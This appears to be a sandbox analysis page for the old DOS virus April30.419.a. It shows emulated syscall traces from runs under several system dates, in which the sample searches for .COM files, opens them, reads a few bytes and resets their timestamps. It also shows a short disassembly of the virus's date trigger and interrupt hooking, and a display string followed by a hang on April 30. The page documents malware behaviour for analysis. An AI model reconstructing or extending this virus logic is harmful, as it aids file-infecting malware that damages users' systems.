Sample viewer

vx.netlux.org/Virus.DOS.April30.419.a

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:45:04.048816563Z 42 PC: 12a69 | Get date 0x12a69: cmp dh, 4
0x12a6c: jne 0x12a7e
0x12a6e: cmp dl, 0x1e
0x12a71: jne 0x12a7e
0x12a73: mov ah, 9
0x12a75: lea dx, word ptr [bp + 0x266]
0x12a79: int 0x21
0x12a7b: cli
0x12a7c: jmp 0x12a7b
0x12a7e: mov ax, 0x3524
0x12a81: int 0x21
0x12a83: mov word ptr [bp + 0x254], es
0x12a87: mov word ptr [bp + 0x256], bx
0x12a8b: push cs
0x12a8c: pop es
0x12a8d: mov ax, 0x2524
0x12a90: mov dx, 0x251
0x12a93: int 0x21
0x12a95: mov ah, 0x1a
0x12a97: mov dx, 0xfc00
2018-12-17T22:45:04.051542489Z 53 PC: 12a83 | Get interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-17T22:45:04.052991772Z 37 PC: 12a95 | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-17T22:45:04.054471192Z 26 PC: 12a9c | Set disk transfer address
2018-12-17T22:45:04.055866007Z 78 PC: 12aa6 | Find first file
2018-12-17T22:45:04.070552416Z 67 PC: 12abb | Get or set file attributes
2018-12-17T22:45:04.077305659Z 67 PC: 12ac3 | Get or set file attributes
2018-12-17T22:45:04.097108932Z 61 PC: 12ac8 | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:45:04.1189216Z 87 PC: 12ace | Get or set file date and time
2018-12-17T22:45:04.134824116Z 63 PC: 12adb | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:45:04.142466131Z 66 PC: 12b02 | Move file pointer
2018-12-17T22:45:04.14512347Z 87 PC: 12b82 | Get or set file date and time
2018-12-17T22:45:04.147073454Z 62 PC: 12b86 | Close file
2018-12-17T22:45:04.155634687Z 67 PC: 12b8f | Get or set file attributes
2018-12-17T22:45:04.167451275Z 79 PC: 12aa6 | Find next file
2018-12-17T22:45:04.170471291Z 67 PC: 12abb | Get or set file attributes
2018-12-17T22:45:04.17753307Z 67 PC: 12ac3 | Get or set file attributes
2018-12-17T22:45:04.189175312Z 61 PC: 12ac8 | Open file (Filename = 'PRINT.COM')
2018-12-17T22:45:04.196991718Z 87 PC: 12ace | Get or set file date and time
2018-12-17T22:45:04.198957043Z 63 PC: 12adb | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:45:04.206937511Z 66 PC: 12b02 | Move file pointer
2018-12-17T22:45:04.209184367Z 87 PC: 12b82 | Get or set file date and time
2018-12-17T22:45:04.211268325Z 62 PC: 12b86 | Close file
2018-12-17T22:45:04.219999031Z 67 PC: 12b8f | Get or set file attributes
2018-12-17T22:45:04.236617103Z 79 PC: 12aa6 | Find next file
2018-12-17T22:45:04.244183683Z 67 PC: 12abb | Get or set file attributes
2018-12-17T22:45:04.256956758Z 67 PC: 12ac3 | Get or set file attributes
2018-12-17T22:45:04.286255286Z 61 PC: 12ac8 | Open file (Filename = 'HELLO.COM')
2018-12-17T22:45:04.294013565Z 87 PC: 12ace | Get or set file date and time
2018-12-17T22:45:04.296940567Z 63 PC: 12adb | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:45:04.305265349Z 66 PC: 12b02 | Move file pointer
2018-12-17T22:45:04.306967525Z 87 PC: 12b82 | Get or set file date and time
2018-12-17T22:45:04.308699516Z 62 PC: 12b86 | Close file
2018-12-17T22:45:04.317905268Z 67 PC: 12b8f | Get or set file attributes
2018-12-17T22:45:04.326292839Z 79 PC: 12aa6 | Find next file
2018-12-17T22:45:04.330073614Z 67 PC: 12abb | Get or set file attributes
2018-12-17T22:45:04.338633197Z 67 PC: 12ac3 | Get or set file attributes
2018-12-17T22:45:04.349587098Z 61 PC: 12ac8 | Open file (Filename = 'PHANG.COM')
2018-12-17T22:45:04.362902992Z 87 PC: 12ace | Get or set file date and time
2018-12-17T22:45:04.364462702Z 63 PC: 12adb | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:45:04.372308492Z 66 PC: 12b02 | Move file pointer
2018-12-17T22:45:04.374402099Z 87 PC: 12b82 | Get or set file date and time
2018-12-17T22:45:04.37714834Z 62 PC: 12b86 | Close file
2018-12-17T22:45:04.386091141Z 67 PC: 12b8f | Get or set file attributes
2018-12-17T22:45:04.396864468Z 79 PC: 12aa6 | Find next file
2018-12-17T22:45:04.399947941Z 67 PC: 12abb | Get or set file attributes
2018-12-17T22:45:04.407506245Z 67 PC: 12ac3 | Get or set file attributes
2018-12-17T22:45:04.418613285Z 61 PC: 12ac8 | Open file (Filename = 'PRINTA~1.COM')
2018-12-17T22:45:04.432047737Z 87 PC: 12ace | Get or set file date and time
2018-12-17T22:45:04.434871551Z 63 PC: 12adb | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:45:04.442243592Z 66 PC: 12b02 | Move file pointer
2018-12-17T22:45:04.443864366Z 87 PC: 12b82 | Get or set file date and time
2018-12-17T22:45:04.446316514Z 62 PC: 12b86 | Close file
2018-12-17T22:45:04.4542242Z 67 PC: 12b8f | Get or set file attributes
2018-12-17T22:45:04.465642284Z 79 PC: 12aa6 | Find next file
2018-12-17T22:45:04.468624162Z 67 PC: 12abb | Get or set file attributes
2018-12-17T22:45:04.475806943Z 67 PC: 12ac3 | Get or set file attributes
2018-12-17T22:45:04.486826002Z 61 PC: 12ac8 | Open file (Filename = 'MANDEL.COM')
2018-12-17T22:45:04.500632463Z 87 PC: 12ace | Get or set file date and time
2018-12-17T22:45:04.503972256Z 63 PC: 12adb | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:45:04.511209635Z 66 PC: 12b02 | Move file pointer
2018-12-17T22:45:04.512760662Z 87 PC: 12b82 | Get or set file date and time
2018-12-17T22:45:04.515008208Z 62 PC: 12b86 | Close file
2018-12-17T22:45:04.522826598Z 67 PC: 12b8f | Get or set file attributes
2018-12-17T22:45:04.539561896Z 79 PC: 12aa6 | Find next file
2018-12-17T22:45:04.543309146Z 67 PC: 12abb | Get or set file attributes
2018-12-17T22:45:04.549718424Z 67 PC: 12ac3 | Get or set file attributes
2018-12-17T22:45:04.566903918Z 61 PC: 12ac8 | Open file (Filename = 'PAH.COM')
2018-12-17T22:45:04.574991806Z 87 PC: 12ace | Get or set file date and time
2018-12-17T22:45:04.57780106Z 63 PC: 12adb | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:45:04.585482018Z 66 PC: 12b02 | Move file pointer
2018-12-17T22:45:04.587603508Z 87 PC: 12b82 | Get or set file date and time
2018-12-17T22:45:04.590520737Z 62 PC: 12b86 | Close file
2018-12-17T22:45:04.598607617Z 67 PC: 12b8f | Get or set file attributes
2018-12-17T22:45:04.609986601Z 79 PC: 12aa6 | Find next file
2018-12-17T22:45:04.61391166Z 67 PC: 12abb | Get or set file attributes
2018-12-17T22:45:04.620794101Z 67 PC: 12ac3 | Get or set file attributes
2018-12-17T22:45:04.636028002Z 61 PC: 12ac8 | Open file (Filename = 'TEST.COM')
2018-12-17T22:45:04.644528669Z 87 PC: 12ace | Get or set file date and time
2018-12-17T22:45:04.64653747Z 63 PC: 12adb | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:45:04.653534439Z 87 PC: 12b82 | Get or set file date and time
2018-12-17T22:45:04.655721184Z 62 PC: 12b86 | Close file
2018-12-17T22:45:04.660970537Z 67 PC: 12b8f | Get or set file attributes
2018-12-17T22:45:04.668349221Z 79 PC: 12aa6 | Find next file
2018-12-17T22:45:04.673441507Z 37 PC: 12b6b | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-17T22:45:04.675409209Z 26 PC: 12b74 | Set disk transfer address

{"DateBased":true,"Day":30,"Month":4,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":8423,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:04:36.348644903Z 42 PC: 12a69 | Get date 0x12a69: cmp dh, 4
0x12a6c: jne 0x12a7e
0x12a6e: cmp dl, 0x1e
0x12a71: jne 0x12a7e
0x12a73: mov ah, 9
0x12a75: lea dx, word ptr [bp + 0x266]
0x12a79: int 0x21
0x12a7b: cli
0x12a7c: jmp 0x12a7b
0x12a7e: mov ax, 0x3524
0x12a81: int 0x21
0x12a83: mov word ptr [bp + 0x254], es
0x12a87: mov word ptr [bp + 0x256], bx
0x12a8b: push cs
0x12a8c: pop es
0x12a8d: mov ax, 0x2524
0x12a90: mov dx, 0x251
0x12a93: int 0x21
0x12a95: mov ah, 0x1a
0x12a97: mov dx, 0xfc00
2018-12-25T12:04:36.35365821Z 9 PC: 12a7b | Display string (String= ' "NightBird goes, Along with the Queen..." ')

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":8423,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:04:36.627093488Z 42 PC: 12a69 | Get date 0x12a69: cmp dh, 4
0x12a6c: jne 0x12a7e
0x12a6e: cmp dl, 0x1e
0x12a71: jne 0x12a7e
0x12a73: mov ah, 9
0x12a75: lea dx, word ptr [bp + 0x266]
0x12a79: int 0x21
0x12a7b: cli
0x12a7c: jmp 0x12a7b
0x12a7e: mov ax, 0x3524
0x12a81: int 0x21
0x12a83: mov word ptr [bp + 0x254], es
0x12a87: mov word ptr [bp + 0x256], bx
0x12a8b: push cs
0x12a8c: pop es
0x12a8d: mov ax, 0x2524
0x12a90: mov dx, 0x251
0x12a93: int 0x21
0x12a95: mov ah, 0x1a
0x12a97: mov dx, 0xfc00
2018-12-25T12:04:36.637368997Z 53 PC: 12a83 | Get interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T12:04:36.638828678Z 37 PC: 12a95 | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T12:04:36.640233498Z 26 PC: 12a9c | Set disk transfer address
2018-12-25T12:04:36.643218171Z 78 PC: 12aa6 | Find first file
2018-12-25T12:04:36.649777557Z 67 PC: 12abb | Get or set file attributes
2018-12-25T12:04:36.655217421Z 67 PC: 12ac3 | Get or set file attributes
2018-12-25T12:04:36.677664716Z 61 PC: 12ac8 | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:04:36.685673542Z 87 PC: 12ace | Get or set file date and time
2018-12-25T12:04:36.687032144Z 63 PC: 12adb | Read file or device (Read 4 bytes on handle 5)
2018-12-25T12:04:36.693552823Z 66 PC: 12b02 | Move file pointer
2018-12-25T12:04:36.695159497Z 87 PC: 12b82 | Get or set file date and time
2018-12-25T12:04:36.696762863Z 62 PC: 12b86 | Close file
2018-12-25T12:04:36.703901048Z 67 PC: 12b8f | Get or set file attributes
2018-12-25T12:04:36.718799626Z 79 PC: 12aa6 | Find next file (See above)
2018-12-25T12:04:36.721611397Z 67 PC: 12abb | Get or set file attributes (See above)
2018-12-25T12:04:36.72766556Z 67 PC: 12ac3 | Get or set file attributes (See above)
2018-12-25T12:04:36.737611662Z 61 PC: 12ac8 | Open file (See above)
2018-12-25T12:04:36.744308395Z 87 PC: 12ace | Get or set file date and time (See above)
2018-12-25T12:04:36.745907298Z 63 PC: 12adb | Read file or device (See above)
2018-12-25T12:04:36.757240132Z 66 PC: 12b02 | Move file pointer (See above)
2018-12-25T12:04:36.758630206Z 87 PC: 12b82 | Get or set file date and time (See above)
2018-12-25T12:04:36.76029039Z 62 PC: 12b86 | Close file (See above)
2018-12-25T12:04:36.768580653Z 67 PC: 12b8f | Get or set file attributes (See above)
2018-12-25T12:04:36.78045889Z 79 PC: 12aa6 | Find next file (See above)
2018-12-25T12:04:36.783537449Z 67 PC: 12abb | Get or set file attributes (See above)
2018-12-25T12:04:36.792038441Z 67 PC: 12ac3 | Get or set file attributes (See above)
2018-12-25T12:04:36.801411732Z 61 PC: 12ac8 | Open file (See above)
2018-12-25T12:04:36.808087984Z 87 PC: 12ace | Get or set file date and time (See above)
2018-12-25T12:04:36.810502729Z 63 PC: 12adb | Read file or device (See above)
2018-12-25T12:04:36.816824086Z 66 PC: 12b02 | Move file pointer (See above)
2018-12-25T12:04:36.818452588Z 87 PC: 12b82 | Get or set file date and time (See above)
2018-12-25T12:04:36.820716693Z 62 PC: 12b86 | Close file (See above)
2018-12-25T12:04:36.8277392Z 67 PC: 12b8f | Get or set file attributes (See above)
2018-12-25T12:04:36.837154766Z 79 PC: 12aa6 | Find next file (See above)
2018-12-25T12:04:36.839884609Z 67 PC: 12abb | Get or set file attributes (See above)
2018-12-25T12:04:36.845844704Z 67 PC: 12ac3 | Get or set file attributes (See above)
2018-12-25T12:04:36.855951858Z 61 PC: 12ac8 | Open file (See above)
2018-12-25T12:04:36.863254413Z 87 PC: 12ace | Get or set file date and time (See above)
2018-12-25T12:04:36.865096541Z 63 PC: 12adb | Read file or device (See above)
2018-12-25T12:04:36.87130132Z 66 PC: 12b02 | Move file pointer (See above)
2018-12-25T12:04:36.872419212Z 87 PC: 12b82 | Get or set file date and time (See above)
2018-12-25T12:04:36.873691115Z 62 PC: 12b86 | Close file (See above)
2018-12-25T12:04:36.878288655Z 67 PC: 12b8f | Get or set file attributes (See above)
2018-12-25T12:04:36.885687666Z 79 PC: 12aa6 | Find next file (See above)
2018-12-25T12:04:36.889034384Z 67 PC: 12abb | Get or set file attributes (See above)
2018-12-25T12:04:36.89487673Z 67 PC: 12ac3 | Get or set file attributes (See above)
2018-12-25T12:04:36.9073502Z 61 PC: 12ac8 | Open file (See above)
2018-12-25T12:04:36.920062019Z 87 PC: 12ace | Get or set file date and time (See above)
2018-12-25T12:04:36.921494193Z 63 PC: 12adb | Read file or device (See above)
2018-12-25T12:04:36.927586527Z 66 PC: 12b02 | Move file pointer (See above)
2018-12-25T12:04:36.929884986Z 87 PC: 12b82 | Get or set file date and time (See above)
2018-12-25T12:04:36.93138284Z 62 PC: 12b86 | Close file (See above)
2018-12-25T12:04:36.938253458Z 67 PC: 12b8f | Get or set file attributes (See above)
2018-12-25T12:04:36.948556376Z 79 PC: 12aa6 | Find next file (See above)
2018-12-25T12:04:36.951042161Z 67 PC: 12abb | Get or set file attributes (See above)
2018-12-25T12:04:36.956412958Z 67 PC: 12ac3 | Get or set file attributes (See above)
2018-12-25T12:04:36.966113901Z 61 PC: 12ac8 | Open file (See above)
2018-12-25T12:04:36.977883566Z 87 PC: 12ace | Get or set file date and time (See above)
2018-12-25T12:04:36.979280299Z 63 PC: 12adb | Read file or device (See above)
2018-12-25T12:04:36.986815459Z 66 PC: 12b02 | Move file pointer (See above)
2018-12-25T12:04:36.988338608Z 87 PC: 12b82 | Get or set file date and time (See above)
2018-12-25T12:04:36.989851328Z 62 PC: 12b86 | Close file (See above)
2018-12-25T12:04:36.996847766Z 67 PC: 12b8f | Get or set file attributes (See above)
2018-12-25T12:04:37.007134088Z 79 PC: 12aa6 | Find next file (See above)
2018-12-25T12:04:37.00966461Z 67 PC: 12abb | Get or set file attributes (See above)
2018-12-25T12:04:37.015247091Z 67 PC: 12ac3 | Get or set file attributes (See above)
2018-12-25T12:04:37.026567727Z 61 PC: 12ac8 | Open file (See above)
2018-12-25T12:04:37.037883438Z 87 PC: 12ace | Get or set file date and time (See above)
2018-12-25T12:04:37.039484025Z 63 PC: 12adb | Read file or device (See above)
2018-12-25T12:04:37.046643532Z 66 PC: 12b02 | Move file pointer (See above)
2018-12-25T12:04:37.048230088Z 87 PC: 12b82 | Get or set file date and time (See above)
2018-12-25T12:04:37.049845799Z 62 PC: 12b86 | Close file (See above)
2018-12-25T12:04:37.057046132Z 67 PC: 12b8f | Get or set file attributes (See above)
2018-12-25T12:04:37.066528488Z 79 PC: 12aa6 | Find next file (See above)
2018-12-25T12:04:37.068909397Z 67 PC: 12abb | Get or set file attributes (See above)
2018-12-25T12:04:37.074426832Z 67 PC: 12ac3 | Get or set file attributes (See above)
2018-12-25T12:04:37.083823692Z 61 PC: 12ac8 | Open file (See above)
2018-12-25T12:04:37.091495681Z 87 PC: 12ace | Get or set file date and time (See above)
2018-12-25T12:04:37.092978751Z 63 PC: 12adb | Read file or device (See above)
2018-12-25T12:04:37.098461231Z 87 PC: 12b82 | Get or set file date and time (See above)
2018-12-25T12:04:37.099837095Z 62 PC: 12b86 | Close file (See above)
2018-12-25T12:04:37.109842785Z 67 PC: 12b8f | Get or set file attributes (See above)
2018-12-25T12:04:37.119258859Z 79 PC: 12aa6 | Find next file (See above)
2018-12-25T12:04:37.121412166Z 37 PC: 12b6b | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T12:04:37.123272798Z 26 PC: 12b74 | Set disk transfer address

{"DateBased":true,"Day":1,"Month":4,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":8423,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:04:36.724347569Z 42 PC: 12a69 | Get date 0x12a69: cmp dh, 4
0x12a6c: jne 0x12a7e
0x12a6e: cmp dl, 0x1e
0x12a71: jne 0x12a7e
0x12a73: mov ah, 9
0x12a75: lea dx, word ptr [bp + 0x266]
0x12a79: int 0x21
0x12a7b: cli
0x12a7c: jmp 0x12a7b
0x12a7e: mov ax, 0x3524
0x12a81: int 0x21
0x12a83: mov word ptr [bp + 0x254], es
0x12a87: mov word ptr [bp + 0x256], bx
0x12a8b: push cs
0x12a8c: pop es
0x12a8d: mov ax, 0x2524
0x12a90: mov dx, 0x251
0x12a93: int 0x21
0x12a95: mov ah, 0x1a
0x12a97: mov dx, 0xfc00
2018-12-25T12:04:36.727410254Z 53 PC: 12a83 | Get interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T12:04:36.728646038Z 37 PC: 12a95 | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T12:04:36.729976206Z 26 PC: 12a9c | Set disk transfer address
2018-12-25T12:04:36.7316902Z 78 PC: 12aa6 | Find first file
2018-12-25T12:04:36.737784518Z 67 PC: 12abb | Get or set file attributes
2018-12-25T12:04:36.743354117Z 67 PC: 12ac3 | Get or set file attributes
2018-12-25T12:04:36.760035052Z 61 PC: 12ac8 | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:04:36.766546134Z 87 PC: 12ace | Get or set file date and time
2018-12-25T12:04:36.767851943Z 63 PC: 12adb | Read file or device (Read 4 bytes on handle 5)
2018-12-25T12:04:36.774715745Z 66 PC: 12b02 | Move file pointer
2018-12-25T12:04:36.77627926Z 87 PC: 12b82 | Get or set file date and time
2018-12-25T12:04:36.777717325Z 62 PC: 12b86 | Close file
2018-12-25T12:04:36.785867227Z 67 PC: 12b8f | Get or set file attributes
2018-12-25T12:04:36.796349083Z 79 PC: 12aa6 | Find next file (See above)
2018-12-25T12:04:36.79887345Z 67 PC: 12abb | Get or set file attributes (See above)
2018-12-25T12:04:36.811069727Z 67 PC: 12ac3 | Get or set file attributes (See above)
2018-12-25T12:04:36.821306737Z 61 PC: 12ac8 | Open file (See above)
2018-12-25T12:04:36.832686163Z 87 PC: 12ace | Get or set file date and time (See above)
2018-12-25T12:04:36.834461355Z 63 PC: 12adb | Read file or device (See above)
2018-12-25T12:04:36.842437968Z 66 PC: 12b02 | Move file pointer (See above)
2018-12-25T12:04:36.843866722Z 87 PC: 12b82 | Get or set file date and time (See above)
2018-12-25T12:04:36.845317981Z 62 PC: 12b86 | Close file (See above)
2018-12-25T12:04:36.858621511Z 67 PC: 12b8f | Get or set file attributes (See above)
2018-12-25T12:04:36.868739815Z 79 PC: 12aa6 | Find next file (See above)
2018-12-25T12:04:36.871621961Z 67 PC: 12abb | Get or set file attributes (See above)
2018-12-25T12:04:36.878322256Z 67 PC: 12ac3 | Get or set file attributes (See above)
2018-12-25T12:04:36.888155496Z 61 PC: 12ac8 | Open file (See above)
2018-12-25T12:04:36.899528154Z 87 PC: 12ace | Get or set file date and time (See above)
2018-12-25T12:04:36.901765872Z 63 PC: 12adb | Read file or device (See above)
2018-12-25T12:04:36.909144005Z 66 PC: 12b02 | Move file pointer (See above)
2018-12-25T12:04:36.910497294Z 87 PC: 12b82 | Get or set file date and time (See above)
2018-12-25T12:04:36.912509293Z 62 PC: 12b86 | Close file (See above)
2018-12-25T12:04:36.919522831Z 67 PC: 12b8f | Get or set file attributes (See above)
2018-12-25T12:04:36.929171521Z 79 PC: 12aa6 | Find next file (See above)
2018-12-25T12:04:36.931748784Z 67 PC: 12abb | Get or set file attributes (See above)
2018-12-25T12:04:36.937196188Z 67 PC: 12ac3 | Get or set file attributes (See above)
2018-12-25T12:04:36.947865492Z 61 PC: 12ac8 | Open file (See above)
2018-12-25T12:04:36.959051926Z 87 PC: 12ace | Get or set file date and time (See above)
2018-12-25T12:04:36.961131134Z 63 PC: 12adb | Read file or device (See above)
2018-12-25T12:04:36.967622169Z 66 PC: 12b02 | Move file pointer (See above)
2018-12-25T12:04:36.979891508Z 87 PC: 12b82 | Get or set file date and time (See above)
2018-12-25T12:04:36.98234629Z 62 PC: 12b86 | Close file (See above)
2018-12-25T12:04:36.989519834Z 67 PC: 12b8f | Get or set file attributes (See above)
2018-12-25T12:04:36.999154969Z 79 PC: 12aa6 | Find next file (See above)
2018-12-25T12:04:37.002994477Z 67 PC: 12abb | Get or set file attributes (See above)
2018-12-25T12:04:37.008500186Z 67 PC: 12ac3 | Get or set file attributes (See above)
2018-12-25T12:04:37.017971731Z 61 PC: 12ac8 | Open file (See above)
2018-12-25T12:04:37.024420868Z 87 PC: 12ace | Get or set file date and time (See above)
2018-12-25T12:04:37.02622686Z 63 PC: 12adb | Read file or device (See above)
2018-12-25T12:04:37.033496438Z 66 PC: 12b02 | Move file pointer (See above)
2018-12-25T12:04:37.035504638Z 87 PC: 12b82 | Get or set file date and time (See above)
2018-12-25T12:04:37.037993044Z 62 PC: 12b86 | Close file (See above)
2018-12-25T12:04:37.045026174Z 67 PC: 12b8f | Get or set file attributes (See above)
2018-12-25T12:04:37.055322377Z 79 PC: 12aa6 | Find next file (See above)
2018-12-25T12:04:37.058815959Z 67 PC: 12abb | Get or set file attributes (See above)
2018-12-25T12:04:37.064322621Z 67 PC: 12ac3 | Get or set file attributes (See above)
2018-12-25T12:04:37.073819594Z 61 PC: 12ac8 | Open file (See above)
2018-12-25T12:04:37.080964934Z 87 PC: 12ace | Get or set file date and time (See above)
2018-12-25T12:04:37.08222248Z 63 PC: 12adb | Read file or device (See above)
2018-12-25T12:04:37.088502265Z 66 PC: 12b02 | Move file pointer (See above)
2018-12-25T12:04:37.091204681Z 87 PC: 12b82 | Get or set file date and time (See above)
2018-12-25T12:04:37.092695183Z 62 PC: 12b86 | Close file (See above)
2018-12-25T12:04:37.102145717Z 67 PC: 12b8f | Get or set file attributes (See above)
2018-12-25T12:04:37.112696111Z 79 PC: 12aa6 | Find next file (See above)
2018-12-25T12:04:37.115352507Z 67 PC: 12abb | Get or set file attributes (See above)
2018-12-25T12:04:37.120959095Z 67 PC: 12ac3 | Get or set file attributes (See above)
2018-12-25T12:04:37.136245676Z 61 PC: 12ac8 | Open file (See above)
2018-12-25T12:04:37.143320535Z 87 PC: 12ace | Get or set file date and time (See above)
2018-12-25T12:04:37.145181034Z 63 PC: 12adb | Read file or device (See above)
2018-12-25T12:04:37.153133542Z 66 PC: 12b02 | Move file pointer (See above)
2018-12-25T12:04:37.154712385Z 87 PC: 12b82 | Get or set file date and time (See above)
2018-12-25T12:04:37.156256229Z 62 PC: 12b86 | Close file (See above)
2018-12-25T12:04:37.166488449Z 67 PC: 12b8f | Get or set file attributes (See above)
2018-12-25T12:04:37.180092679Z 79 PC: 12aa6 | Find next file (See above)
2018-12-25T12:04:37.182831165Z 67 PC: 12abb | Get or set file attributes (See above)
2018-12-25T12:04:37.189485275Z 67 PC: 12ac3 | Get or set file attributes (See above)
2018-12-25T12:04:37.199412811Z 61 PC: 12ac8 | Open file (See above)
2018-12-25T12:04:37.205936182Z 87 PC: 12ace | Get or set file date and time (See above)
2018-12-25T12:04:37.207664143Z 63 PC: 12adb | Read file or device (See above)
2018-12-25T12:04:37.214548264Z 87 PC: 12b82 | Get or set file date and time (See above)
2018-12-25T12:04:37.215954215Z 62 PC: 12b86 | Close file (See above)
2018-12-25T12:04:37.222797563Z 67 PC: 12b8f | Get or set file attributes (See above)
2018-12-25T12:04:37.235440339Z 79 PC: 12aa6 | Find next file (See above)
2018-12-25T12:04:37.237737128Z 37 PC: 12b6b | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T12:04:37.239069323Z 26 PC: 12b74 | Set disk transfer address